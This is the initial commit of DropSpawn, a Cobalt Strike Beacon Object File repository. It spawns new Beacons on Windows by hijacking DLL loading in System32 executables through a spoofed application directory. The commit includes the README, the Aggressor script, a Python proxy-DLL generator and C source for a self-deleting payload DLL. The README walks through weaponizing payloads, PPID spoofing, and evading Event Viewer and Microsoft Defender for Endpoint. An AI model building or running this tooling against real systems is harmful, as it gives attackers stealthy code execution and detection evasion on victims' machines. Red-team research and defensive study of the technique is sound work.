Initial commit

Fix current directory detection

Update README.md

Fixes

Update README.md

Update README.md

Update README.md

Update README.md

Fixes

Fixes
This commit is contained in:
Octoberfest7
2023-06-06 17:35:15 -04:00
commit 7628187b37
16 changed files with 1007 additions and 0 deletions
+3
View File
@@ -0,0 +1,3 @@
all:
i686-w64-mingw32-gcc -o dist/dropspawn.x86.o -Os -c src/DropSpawn_BOF/main.c -lshlwapi
x86_64-w64-mingw32-gcc -o dist/dropspawn.x64.o -Os -c src/DropSpawn_BOF/main.c -lshlwapi
+101
View File
@@ -0,0 +1,101 @@
# DropSpawn
## Introduction
DropSpawn is a CobaltStrike BOF used to spawn additional Beacons via a relatively unknown method of DLL hijacking. Use as an alternative to process injection.
[Windows executables will follow the DLL search order](https://dmcxblue.gitbook.io/red-team-notes/persistence/dll-search-order-hijacking) when trying to load DLL's whose absolute paths were not specified:
![image](https://github.com/Octoberfest7/DropSpawn_BOF/assets/91164728/2b00b6f3-9152-489e-ace4-a0a45d3869e9)
DLL hijacking typically requires that either:
***A.*** A user has write permissions in a folder with a higher search order precedence than where the real DLL resides
or
***B.*** That the DLL in question doesn't exist anywhere on the system, in which case it can be placed in a user-writable folder in the user's %PATH% variable (like %USERPROFILE%\appdata\local\microsoft\windowsapps).
These requirements rule out DLL hijacking for executables residing in C:\Windows\System32 because almost all DLL's that these executables load also reside in System32. Copying a System32 executable to a user-writable location and executing it there is an option, but isn't very OPSEC safe because System32 binaries running from alternate locations are easy to identify.
***DropSpawn enables DLL hijacking using System32 executables (and others found in additional non-user-writable folders) by spoofing the "The directory from which the application is loaded" to an arbitrary user-specified one.***
### Note:
The public release of DropSpawn differs slightly from the non-public one. The non-public release leverages a proprietary payload generator, making the experience much more seamless for the operator. The public release has been altered slightly to account for the fact that users will their own ways of generating DLL hijack compatible payloads. A Python3 script as well as source code for a demonstration DLL have been included to assist users in integrating and weaponizing dropspawn.
## How to Use
### 1.
Identify some target executables that try to load DLL's without specifying their absolute paths. You can do this by copying the exe into a user-writable directory and executing it while monitoring it with [Procmon](https://learn.microsoft.com/en-us/sysinternals/downloads/procmon). In this example we'll use WerFault.exe which normally resides at C:\Windows\System32\WerFault.exe
![image](https://github.com/Octoberfest7/DropSpawn_BOF/assets/91164728/82436cb3-3866-4147-9034-e22a04909c59)
In the above example cryptsp.dll, wer.dll, dbghelp.dll, and bcrypt.dll are all viable candidates because their absolute paths were not specified within WerFault; as a result, WerFault will attempt to load them from its application directory first before resorting to the rest of the DLL search order. Note that this typically isn't a concern because WerFault's application directory IS System32.
### 2.
Download one of the hijackable DLL's from the target system.
![image](https://github.com/Octoberfest7/DropSpawn_BOF/assets/91164728/ab492c4d-e5f3-4024-82b0-113e3448f01f)
This is necessary so that we can extract its exports and include them in our payload DLL. It is important to grab the hijackable DLL from the same machine you wish you use DropSpawn on, as DLL's change between Windows versions. Additionally, if you are running a x86 beacon and want to spawn an x64 beacon using DropSpawn, make sure you download the x64 version of the real DLL by specifying 'C:\windows\sysnative\...' instead of 'C:\windows\system32\...'.
### 3.
Run generate_dll.py, passing in the downloaded DLL and the desired payload architecture. Generate_dll.py is a modified version of [this script](https://github.com/tothi/dll-hijack-by-proxying). It will parse the supplied DLL, create a .def file containing the DLL's exports, and call MingW to compile our demonstration payload DLL. When the spawned process tries to call a real function within the spoofed DLL, our payload DLL will forward the call to the real DLL located in System32 so that the host process doesn't crash.
![image](https://github.com/Octoberfest7/DropSpawn_BOF/assets/91164728/c7b271eb-39c0-43d8-8241-7c601f26151f)
### 4.
Call dropspawn using the generated payload DLL.
***dropspawn \<payload DLL\> \<x86|x64\> \<program to spawn\> \[writable target folder\] \[parent\]***
**payload DLL** - the full path to the generated DLL payload.
**architecture** - the architecture of the process you wish to spawn
**program to spawn** - the name/path of the process you wish to spawn. If this process resides in System32(or syswow64), you can just specify the name. Otherwise, specify the full path. You can also supply arguments command line arguments to the process. If there are spaces in the path/if you use arguments, wrap the whole thing in quotes.
**writable target folder** - Optional. If left blank, dropspawn will try to use the Beacon's current directory. Use quotes if there are spaces in the path.
**parent** - Optional. The name of the process to use for PPID spoofing with the newly spawned process. If a process is specified that has multiple running instances of difference privilege levels (i.e. svchost.exe), dropspawn will try and identify one that can be used for PPID spoofing.
Example: dropspawn /root/dbgcore.dll x64 "WerFault.exe -u -p 4352 -s 160" C:\users\user\appdata\local\temp explorer.exe
This will drop the payload DLL 'dbgcore.dll' to disk at 'c:\users\user\appdata\local\temp\dbgcore.dll' and spawn a x64 WerFault.exe process with the commandline arguments '-u -p 4352 -s 160' and explorer.exe as the parent process.
![image](https://github.com/Octoberfest7/DropSpawn_BOF/assets/91164728/d42811f7-56a3-49b9-a151-d742048eac66)
![image](https://github.com/Octoberfest7/DropSpawn_BOF/assets/91164728/e2b52404-28b4-4718-a40e-90ecb7e24d72)
### 5.
Cleanup is easy. By including the [Self-Deletion](https://github.com/LloydLabs/delete-self-poc) function in the payload DLL that is dropped to disk, it will be deleted as soon as our new process spawns and loads it. This is a game changer, as typically the DLL would be locked on disk so long as our process that loaded it continues to run. If the Self-Deletion technique fails for some reason (or the process fails to spawn), DropSpawn will attempt to delete the payload DLL from disk and will inform the user of the result of the operation either way.
## Detection
Process injection typically follows the open remote process -> allocate remote memory -> write remote memory -> execute remote memory chain, with an option to spawn a new process at the beginning instead of using an existing one. DropSpawn only creates a new process; the newly spawned process is responsible for allocating, writing, and executing shellcode, so we can avoid a lot of the IOC's typically associated with remote process injection.
This technique is of course at the mercy of how good your DLL payloads are. But we can take a look at what Windows sees (this next section using the private version of DropSpawn and spawning Beacons).
As far as Event Viewer is concerned, everything looks normal:
![image](https://github.com/Octoberfest7/DropSpawn_BOF/assets/91164728/2af99040-a391-4b10-a6d0-09ce1cb069ff)
In MDE there is very little to see.
Running dropspawn:
![image](https://github.com/Octoberfest7/DropSpawn_BOF/assets/91164728/b3e0c45e-83ff-48f5-bac8-660f48d17fcd)
![image](https://github.com/Octoberfest7/DropSpawn_BOF/assets/91164728/5bd5c934-018c-47e6-9b14-8d4caeb3a528)
MDE Logs:
With PPID spoofing:
![image](https://github.com/Octoberfest7/DropSpawn_BOF/assets/91164728/c6457525-0d80-4273-98f5-f5921ae16cb9)
Without PPID spoofing:
![image](https://github.com/Octoberfest7/DropSpawn_BOF/assets/91164728/2e04a2d9-e701-46ed-bd38-5da3a0fb60ca)
In both cases we see our original beacon process (also a werfault) drop dbgcore.dll to disk, create a new WerFault.exe process, the newly spawned process loading dbgcore.dll, and then renaming (deleting) it. Critically there is no extra scrutiny of dbgcore.dll that often comes with DLL hijacks because we aren't writing it to any often hijacked location, and WerFault.exe (or whatever process you choose to use) isn't really associated with DLL hijacks in the way that things like WmiPrvSE.exe are.
Interestingly it is almost more visible to do this with PPID spoofing than without. This may vary depending on the security product however.
## Limitations
As mentioned, it is essential that users download the real DLL's from the target machine they plan to use DropSpawn on. Using the wrong version of a DLL can result in the spawned process crashing if it tries to call a function that doesn't exist.
DropSpawn can be used with executables outside System32; be warned however that issues can arise if the process tries to load additional DLL's from the processes true application directory. Because we have spoofed the application directory elswhere, if the real application directory isn't also reachable via the DLL search order otherwise, the process will crash/fail to start because it cannot locate essential DLL's. Always test potential hijacks on development machines before using them in production!
## Credits
This research first came about as I was exploring how processes assemble their final DLL search order (as it must be determined at runtime due to executables residing in different directories, the current directory being part of the search path, etc). My research led me to [this](http://www.rohitab.com/discuss/topic/41379-running-native-applications-with-rtlcreateuserprocess/) forum post, which served as the origin of the two critical undocumented API's that are central to this technique.
They are linked earlier already, but [this post concerning avoiding loader lock](https://www.netspi.com/blog/technical/adversary-simulation/adaptive-dll-hijacking/), [this script for generating a .def file for DLL proxying](https://github.com/tothi/dll-hijack-by-proxying), and [this research on enabling self-deletion of running executables](https://github.com/LloydLabs/delete-self-poc) are essential to producing effective, weaponized DLL payloads suitable for DropSpawn.
When I first published this technique on [Twitter](https://twitter.com/Octoberfest73/status/1642165975805050881?s=20), several others joined the conversation and produced POC's. [SecurityAndStuff produced this one](https://github.com/SecurityAndStuff/DllLoadPath), while [Snovvcrash has his here](https://gist.github.com/snovvcrash/3d5008d7e46d1cc60f0f8bdc8cdb66a5)
+134
View File
@@ -0,0 +1,134 @@
alias dropspawn
{
local('$bid @result $proc $barch $args $dllbytes $listener $architecture $payload $writabledir $hijackname $program $commandlineargs $ppid $command $data $script $output $basedir $filehash');
if (size(@_) < 4 || size(@_) > 6)
{
berror($1, "Incorrect usage!");
berror($1, beacon_command_detail("dropspawn"));
return;
}
$bid = $1;
$barch = barch($1);
$payload = $2;
$hijackname = split("/", $payload)[-1];
$listener = $3;
$architecture = $3;
$targetpath = "";
$writabledir = "";
$program = "";
$commandlineargs = "";
$parent = $6;
if(!-exists $payload)
{
berror($1, "Payload DLL: $2 does not seem to exist!");
exit();
}
if($architecture !in @("x86", "x64"))
{
berror($1, "Architecture: $architecture is not a valid architecture!")
}
$program = substr($4, 0, indexOf($4, ".exe") + 4);
$commandlineargs = substr($4, indexOf($4, ".exe") + 4);
#If no backslashes present, we assume this is a system32/syswow64 program and need to figure out the path based on beacon arch and desired arch
if("\\" !isin $program)
{
#if barch == architecture, either x86-x86 or x64-x64
if($barch eq $architecture)
{
$program = "C:\\Windows\\System32\\" . $program;
}
else if($barch eq "x64" && $architecture eq "x86")
{
$program = "C:\\Windows\\SysWOW64\\" . $program;
}
else if($barch eq "x86" && $architecture eq "x64")
{
$program = "C:\\Windows\\Sysnative\\" . $program;
}
}
#If a writeable directory was provided, ensure that we have a trailing backslash on it when sending to BOF. Alternatively, if '.' was specified just pass that directly to BOF.
if($5 ne "")
{
if(right($5, 1) eq "\\")
{
$writabledir = $5;
}
else
{
$writabledir = $5 . "\\";
}
}
#Fetch MD5 Hash of payload that will be written to disk for logging purposes
$data = exec("md5sum " . $payload);
$output = readln($data);
$filehash = split(" ",$output, 2)[0];
#read in the Dll payload
$handle = openf($payload);
$dllbytes = readb($handle, -1);
closef($handle);
# read in the right BOF file
$handle = openf(script_resource("dropspawn. $+ $barch $+ .o"));
$data = readb($handle, -1);
closef($handle);
# Pack the arguments
$args = bof_pack($bid, "bZZZZZ", $dllbytes, $hijackname, $program, $commandlineargs, $writabledir, $parent);
blog2($bid, "Dropping $payload \(MD5Sum: $filehash\) on target as $writabledir$hijackname and spawning new process!");
# Execute BOF
beacon_inline_execute($bid, $data, "go", $args);
}
beacon_command_register(
"dropspawn",
"Spawn a new beacon by dropping a DLL to disk and loading it",
"
Command: dropspawn
Summary: This command will spawn a new beacon by dropping a proxy DLL
to the target machine and spawning a new process with an altered
application directory for its DLL search order. The DLL SHOULD
delete itself from disk after the new process loads it.
Usage: dropspawn <proxy DLL> <x86|x64> <program to spawn> [writable target folder] [parent]
proxy DLL - The full path to the DLL downloaded from the target machine
that is to be used for proxying exports in the spawned process.
x86|x64 - The architecture of the beacon you wish to spawn.
program to spawn - The name or path of the executable to spawn and load the proxy DLL.
If the program is in system32/syswow64 just provide the name,
otherwise provide the full path to the executable. Provide any
arguments to the program after the executables name.
writable target folder - Optional. A writable folder on the target system to drop the DLL
payload to. If no folder is specified, dropspawn will attempt to
use the current directory. Specify . as a filler to use the
current directory but also be able to specify a ppid.
parent - Optional. The name of the desired process to use for PPID spoofing.
Your current beacon must be able to open the process with
PROCESS_CREATE_PROCESS rights. If running in a privileged context
you may need to run getprivs to enable your token privileges.
Example:
dropspawn /root/gitlab/DropSpawn_BOF/dist/dbgcore.dll x64 \"WerFault.exe -u -p 4352 -s 160\" \"c:\\users\\tom jones\\appdata\\local\\temp\"
dropspawn /root/gitlab/DropSpawn_BOF/dist/coremessaging.dll x64 sihost.exe . svchost.exe
dropspawn /root/gitlab/DropSpawn_BOF/dist/umpdc.dll x64 \"RuntimeBroker.exe -Embedding\" c:\\users\\user svchost.exe
dropspawn /root/gitlab/DropSpawn_BOF/dist/version.dll x64 \"c:\\users\\ajones\\AppData\\Local\\Microsoft\\Teams\\current\\teams.exe --system-initiated\" c:\\users\\ajones explorer.exe
Note: - DLL's change between Windows versions; always download the DLL you wish to use for proxying
from the machine you are going to use dropspawn on in order to ensure compatibility.
- If you are trying to spawn an x64 beacon from an x86 one, make sure you download the proxy DLL
from c:\\windows\\sysnative\\<proxy dll> in order to get the x64 version of the proxy DLL.
- If you are trying to spawn an x86 beacon from an x64 one, make sure you download the proxy DLL
from c:\\windows\\syswow64\\<proxy dll> in order to get the x86 version of the proxy DLL.
"
);
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
+68
View File
@@ -0,0 +1,68 @@
#!/usr/bin/env python3
#Most of this script taken from: https://github.com/tothi/dll-hijack-by-proxying/blob/master/gen_def.py
import os
import sys
import pefile
def Help():
print("Invalid usage!\nUsage: python3 generate_dll.py <path/to/real/DLL> <x86|x64>")
sys.exit()
if len(sys.argv) != 3 or ".dll" not in sys.argv[1] or (sys.argv[2] != "x64" and sys.argv[2] != "x86"):
Help()
#Get cwd
cwd = os.getcwd()
#Grab DLL sys.argv1
dll = pefile.PE(sys.argv[1])
#Get DLL name from supplied path
dll_name = (sys.argv[1]).split("/")[-1];
#Strip .dll from the name e.g. cscapi.dll -> cscapi
dll_basename = os.path.splitext(dll_name)[0]
#Create .def file name
deffile_name = dll_basename + ".def"
#Create .def file for writing
deffile = open("src/DLL_Payload/exports.def", "w")
deffile.write("EXPORTS\n")
#Walk legitimate DLL and create list of all exports so we can forward any calls to functions to the real DLL
#Note that the C:/windows/system32/ part could be removed, which would result in the DLL search order being followed;
#Had issues with this however that were resolved by pointing at the DLL's via absolute path
#Most DLL's will be found in system32, but if one needed to be found elsewhere would have to alter the script.
#This also doesn't account for hijacking an x86 DLL on a x64 system in which case syswow64 would be needed...
#Room for further research and work here.
for export in dll.DIRECTORY_ENTRY_EXPORT.symbols:
if export.name:
deffile.write('{}=C:/windows/system32/{}.{} @{}\n'.format(export.name.decode(), dll_basename, export.name.decode(), export.ordinal))
deffile.close()
#Generate x64 DLL
if sys.argv[2] == "x64":
result = os.system('x86_64-w64-mingw32-gcc -c -o src/DLL_Payload/delete64.o src/DLL_Payload/entry.c')
if result == 0:
result = os.system('x86_64-w64-mingw32-windres src/DLL_Payload/resource.rc src/DLL_Payload/delete64.o')
if result == 0:
os.system('x86_64-w64-mingw32-dllwrap --def src/DLL_Payload/exports.def src/DLL_Payload/delete64.o -o dist/{} src/DLL_Payload/entry.c -s -Os -lshlwapi'.format(dll_name))
if result == 0:
print("Payload created at: " + cwd + "/dist/" + dll_name)
#Generate x86 DLL
elif sys.argv[2] == "x86":
result = os.system('i686-w64-mingw32-gcc -c -o src/DLL_Payload/delete32.o src/DLL_Payload/entry.c')
if result == 0:
result = os.system('i686-w64-mingw32-windres src/DLL_Payload/resource.rc src/DLL_Payload/delete32.o')
if result == 0:
result = os.system('i686-w64-mingw32-dllwrap --def src/DLL_Payload/exports.def src/DLL_Payload/delete32.o -o dist/{} src/DLL_Payload/entry.c -s -Os -lshlwapi'.format(dll_name))
if result == 0:
print("Payload created at: " + cwd + "/dist/" + dll_name)
#Print help menu and exit
else:
Help()
+10
View File
@@ -0,0 +1,10 @@
<?xml version='1.0' encoding='UTF-8' standalone='yes'?>
<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level='asInvoker' uiAccess='false' />
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
Binary file not shown.
Binary file not shown.
+171
View File
@@ -0,0 +1,171 @@
#define _UNICODE
#include "entry.h"
#define _AddressOfReturnAddress() __builtin_frame_address (0)
#pragma comment(lib, "shlwapi.lib")
void deleteme()
{
WCHAR wcPath[MAX_PATH + 1];
RtlSecureZeroMemory(wcPath, sizeof(wcPath));
HMODULE hm = NULL;
//Get Handle to our DLL based on Runner() function
GetModuleHandleExW(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT, (LPCWSTR)Runner, &hm);
//Get path of our DLL
GetModuleFileNameW(hm, wcPath, sizeof(wcPath));
//Close handle to our DLL
CloseHandle(hm);
//Open handle to DLL with delete flag
HANDLE hCurrent = CreateFileW(wcPath, DELETE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
// rename the associated HANDLE's file name
FILE_RENAME_INFO *fRename;
LPWSTR lpwStream = L":gone";
DWORD bslpwStream = (wcslen(lpwStream)) * sizeof(WCHAR);
DWORD bsfRename = sizeof(FILE_RENAME_INFO) + bslpwStream;
fRename = (FILE_RENAME_INFO *)malloc(bsfRename);
memset(fRename, 0, bsfRename);
fRename->FileNameLength = bslpwStream;
memcpy(fRename->FileName, lpwStream, bslpwStream);
//printf("bsfRename: %d; FileNameLength: %d; FileName: %ls\n", bsfRename, fRename->FileNameLength, fRename->FileName);
SetFileInformationByHandle(hCurrent, FileRenameInfo, fRename, bsfRename);
CloseHandle(hCurrent);
// open another handle, trigger deletion on close
hCurrent = CreateFileW(wcPath, DELETE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
// set FILE_DISPOSITION_INFO::DeleteFile to TRUE
FILE_DISPOSITION_INFO fDelete;
RtlSecureZeroMemory(&fDelete, sizeof(fDelete));
fDelete.DeleteFile = TRUE;
SetFileInformationByHandle(hCurrent, FileDispositionInfo, &fDelete, sizeof(fDelete));
// trigger the deletion deposition on hCurrent
CloseHandle(hCurrent);
}
void Runner()
{
MessageBoxA(NULL, "Hello from DLL!", "MessageBox", 0);
}
__declspec(dllexport) void go()
{
Sleep(2000);
deleteme();
Runner();
return;
}
void DoNothing() {
while (TRUE)
{
Sleep(10 * 1000);
}
}
void InstallHook(PVOID address, PVOID jump) {
BYTE Jump[12] = { 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xe0 };
DWORD old;
VirtualProtect(address, sizeof(Jump), 0x40, &old);
memcpy(address, Jump, 12);
memcpy(((PBYTE)address + 2), &jump, 8);
VirtualProtect(address, sizeof(Jump), old, &old);
}
BOOL HookTheStack() {
// Get primary module info
PBYTE baseAddress = NULL;
DWORD baseSize = 0;
//WCHAR fileName[MAX_PATH];
char fileName[MAX_PATH];
K32GetProcessImageFileNameA((HANDLE)-1, fileName, MAX_PATH);
//std::wstring pathString = std::wstring(fileName);
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());
MODULEENTRY32 pEntry;
pEntry.dwSize = sizeof(pEntry);
BOOL hRes = Module32Next(hSnapShot, &pEntry);
while (hRes)
{
//if (pathString.find(pEntry.szModule) != std::wstring::npos) {
if(strstr(fileName, pEntry.szModule))
{
baseAddress = pEntry.modBaseAddr;
baseSize = pEntry.modBaseSize;
break;
}
hRes = Module32Next(hSnapShot, &pEntry);
}
CloseHandle(hSnapShot);
if (!baseAddress || !baseSize)
return FALSE;
// Hunt the stack
PBYTE ldrLoadDll = (PBYTE)GetProcAddress(GetModuleHandle("ntdll"), "LdrLoadDll");
PBYTE * stack = (PBYTE *)_AddressOfReturnAddress();
BOOL foundLoadDll = FALSE;
ULONG_PTR lowLimit, highLimit;
GetCurrentThreadStackLimits(&lowLimit, &highLimit);
for (; (ULONG_PTR)stack < highLimit; stack++) {
if (*stack < (PBYTE)0x1000)
continue;
if (*stack > ldrLoadDll && *stack < ldrLoadDll + 0x1000) {
// LdrLoadDll is in the stack, let's start looking for our module
foundLoadDll = TRUE;
}
if (foundLoadDll && *stack > baseAddress && *stack < (baseAddress + baseSize)) {
MEMORY_BASIC_INFORMATION mInfo = { 0 };
VirtualQuery(*stack, &mInfo, sizeof(mInfo));
if (!(mInfo.Protect & PAGE_EXECUTE_READ))
continue;
// Primary module is in the stack, let's hook there
InstallHook(*stack, DoNothing);
return TRUE;
}
}
// No references found, let's just hook the entry point
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress;
PIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS32)(baseAddress + dosHeader->e_lfanew);
PBYTE entryPoint = baseAddress + ntHeader->OptionalHeader.AddressOfEntryPoint;
InstallHook(entryPoint, &DoNothing);
return TRUE;
}
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
if (ul_reason_for_call != DLL_PROCESS_ATTACH)
return TRUE;
if (!HookTheStack())
return TRUE;
DWORD dwThread;
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)go, NULL, 0, &dwThread);
return TRUE;
}
+14
View File
@@ -0,0 +1,14 @@
#include <windows.h>
#include <winternl.h>
#include <psapi.h>
#include <processthreadsapi.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <dbghelp.h>
#include <tchar.h>
#include <time.h>
#include <string.h>
#include <shlwapi.h>
#include <intrin.h>
VOID Runner();
+1
View File
@@ -0,0 +1 @@
2 24 delete.dll.manifest
+69
View File
@@ -0,0 +1,69 @@
/*
* Beacon Object Files (BOF)
* -------------------------
* A Beacon Object File is a light-weight post exploitation tool that runs
* with Beacon's inline-execute command.
*
* Additional BOF resources are available here:
* - https://github.com/Cobalt-Strike/bof_template
*
* Cobalt Strike 4.x
* ChangeLog:
* 1/25/2022: updated for 4.5
*/
/* data API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size);
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
/* format API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} formatp;
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
/* Output Functions */
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_OUTPUT_UTF8 0x20
#define CALLBACK_ERROR 0x0d
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
/* Token Functions */
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
DECLSPEC_IMPORT void BeaconRevertToken();
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
/* Spawn+Inject Functions */
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
/* Utility Functions */
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
+80
View File
@@ -0,0 +1,80 @@
#include <windows.h>
#include <fileapi.h>
#include <tlhelp32.h>
#include <shlwapi.h>
#include "ntdll.h"
#include "beacon.h"
NTSYSAPI VOID NTAPI NTDLL$RtlInitUnicodeString(PUNICODE_STRING DestinationString, PWSTR SourceString);
NTSYSAPI BOOLEAN NTAPI NTDLL$RtlDosPathNameToNtPathName_U(PCWSTR DosFileName, PUNICODE_STRING NtFileName, PWSTR* FilePart, PVOID Reserved);
NTSYSAPI NTSTATUS NTAPI NTDLL$RtlCreateProcessParameters(PRTL_USER_PROCESS_PARAMETERS* pProcessParameters, PUNICODE_STRING ImagePathName, PUNICODE_STRING DllPath, PUNICODE_STRING CurrentDirectory, PUNICODE_STRING CommandLine, PVOID Environment, PUNICODE_STRING WindowTitle, PUNICODE_STRING DesktopInfo, PUNICODE_STRING ShellInfo, PUNICODE_STRING RuntimeData);
NTSYSAPI NTSTATUS NTAPI NTDLL$RtlCreateUserProcess(PUNICODE_STRING NtImagePathName, ULONG AttributesDeprecated, PRTL_USER_PROCESS_PARAMETERS ProcessParameters, PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, HANDLE ParentProcess, BOOLEAN InheritHandles, HANDLE DebugPort, HANDLE TokenHandle, PRTL_USER_PROCESS_INFORMATION ProcessInformation);
NTSYSCALLAPI NTSTATUS NTAPI NTDLL$NtResumeThread(HANDLE ThreadHandle, PULONG PreviousSuspendCount);
NTSYSAPI NTSTATUS NTAPI NTDLL$RtlDestroyProcessParameters(PRTL_USER_PROCESS_PARAMETERS ProcessParameters);
WINBASEAPI HANDLE WINAPI Kernel32$CreateFileW(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
WINBASEAPI BOOL WINAPI Kernel32$WriteFile(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
WINBASEAPI BOOL WINAPI Kernel32$CloseHandle(HANDLE);
WINBASEAPI DWORD WINAPI Kernel32$GetProcessId(HANDLE Process);
WINBASEAPI DWORD WINAPI Kernel32$GetCurrentDirectoryW(DWORD nBufferLength, LPWSTR lpBuffer);
WINBASEAPI DWORD WINAPI Kernel32$GetFileAttributesW(LPCWSTR lpFileName);
WINBASEAPI DWORD WINAPI Kernel32$Sleep(DWORD dwMilliseconds);
WINBASEAPI HANDLE WINAPI Kernel32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
WINBASEAPI BOOL WINAPI Kernel32$DeleteFileW(LPCWSTR lpFileName);
WINBASEAPI HANDLE WINAPI Kernel32$CreateToolhelp32Snapshot(DWORD dwFlags,DWORD th32ProcessID);
WINBASEAPI WINBOOL WINAPI Kernel32$Process32FirstW(HANDLE hSnapshot,LPPROCESSENTRY32W lppe);
WINBASEAPI WINBOOL WINAPI Kernel32$Process32NextW(HANDLE hSnapshot,LPPROCESSENTRY32W lppe);
WINBASEAPI DWORD WINAPI Kernel32$GetCurrentProcessId(VOID);
WINBASEAPI BOOL WINAPI Kernel32$ProcessIdToSessionId(DWORD dwProcessId, DWORD *pSessionId);
WINBASEAPI HANDLE WINAPI Kernel32$GetCurrentProcess();
//WINBASEAPI DWORD WINAPI Kernel32$GetLastError(VOID);
WINBASEAPI BOOL WINAPI Advapi32$OpenProcessToken(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);
WINBASEAPI BOOL WINAPI Advapi32$GetTokenInformation(HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength);
WINBASEAPI PCWSTR SHLWAPI$StrStrIW(PCWSTR pszFirst, PCWSTR pscSrch);
WINBASEAPI errno_t __cdecl MSVCRT$wcscat_s(wchar_t *strDestination, size_t numberOfElements, const wchar_t *strSource);
WINBASEAPI int __cdecl MSVCRT$swprintf_s(wchar_t *buffer, size_t sizeOfBuffer, const wchar_t *format, ...);
WINBASEAPI wchar_t* __cdecl MSVCRT$wcsrchr(const wchar_t* str, wchar_t wc);
WINBASEAPI int __cdecl MSVCRT$wcscmp(const wchar_t *string1, const wchar_t *string2);
WINBASEAPI void* __cdecl MSVCRT$memcpy( void *destination, const void* source, size_t num );
WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *str);
WINBASEAPI void* __cdecl MSVCRT$memmove(void *dest, const void *src, size_t count);
#define RtlInitUnicodeString NTDLL$RtlInitUnicodeString
#define RtlDosPathNameToNtPathName_U NTDLL$RtlDosPathNameToNtPathName_U
#define RtlCreateProcessParameters NTDLL$RtlCreateProcessParameters
#define RtlCreateUserProcess NTDLL$RtlCreateUserProcess
#define NtResumeThread NTDLL$NtResumeThread
#define RtlDestroyProcessParameters NTDLL$RtlDestroyProcessParameters
#define CreateFileW Kernel32$CreateFileW
#define WriteFile Kernel32$WriteFile
#define CloseHandle Kernel32$CloseHandle
#define GetProcessId Kernel32$GetProcessId
#define GetCurrentDirectoryW Kernel32$GetCurrentDirectoryW
#define GetFileAttributesW Kernel32$GetFileAttributesW
#define Sleep Kernel32$Sleep
#define OpenProcess Kernel32$OpenProcess
#define DeleteFileW Kernel32$DeleteFileW
#define CreateToolhelp32Snapshot Kernel32$CreateToolhelp32Snapshot
#define Process32FirstW Kernel32$Process32FirstW
#define Process32NextW Kernel32$Process32NextW
#define GetCurrentProcessId Kernel32$GetCurrentProcessId
#define ProcessIdToSessionId Kernel32$ProcessIdToSessionId
#define GetCurrentProcess Kernel32$GetCurrentProcess
//#define GetLastError Kernel32$GetLastError
#define OpenProcessToken Advapi32$OpenProcessToken
#define GetTokenInformation Advapi32$GetTokenInformation
#define wcscat_s MSVCRT$wcscat_s
#define swprintf_s MSVCRT$swprintf_s
